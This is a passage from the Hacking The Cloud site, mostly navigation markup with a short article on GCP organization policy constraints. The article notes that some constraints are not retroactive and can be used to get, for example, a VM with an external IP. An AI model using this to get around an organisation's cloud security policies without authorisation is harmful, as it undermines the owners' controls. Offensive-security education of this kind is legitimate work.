data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Security and Constraints </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Security and Constraints </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#examples class=md-nav__link> <span class=md-ellipsis> Examples </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#examples class=md-nav__link> <span class=md-ellipsis> Examples </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Moses Frost (@mosesrenegade)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/security-and-constraints.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Security and Constraints</h1> <p>GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.</p> <h2 id=examples>Examples<a class=headerlink href=#examples title="Permanent link">&para;</a></h2> <p>From: <a href=https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints>Organizational Policy Constraints</a></p> <ul> <li>constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.</li> <li>constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication. </li> </ul> <p>There are specific policies that are <em>not</em> retroactive. We can use these to our <em>advantage</em>. </p> <ol> <li><code>constraints/compute.requireShieldedVm</code>: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You <em>must</em> delete the object and re-create it for it to enforce shielded VMs. </li> <li> <p><code>constraints/compute.vmExternalIpAccess</code>: Consider the following scenario:</p> <ul> <li>Constraint is based on the following permutation: <code>projects/PROJECT_ID/zones/ZONE/instances/INSTANCE</code></li> <li>Constraint looks for the <code>name</code> of the machine in the <code>project</code> identifier specified in the specific <code>zone</code></li> <li>If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address</li> <li>Machine cannot already exist.</li> <li><code>constraints/compute.vmCanIpForward</code>: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.</li> </ul> </li> </ol> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 29, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 